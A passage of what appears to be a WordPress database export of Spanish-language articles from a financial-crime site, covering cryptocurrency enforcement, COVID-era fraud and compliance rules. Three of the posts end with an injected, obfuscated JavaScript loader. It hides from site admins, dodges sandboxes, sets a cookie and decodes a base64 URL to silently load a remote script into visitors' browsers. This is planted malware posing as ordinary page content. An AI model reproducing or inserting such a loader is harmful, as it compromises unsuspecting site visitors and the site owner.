y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 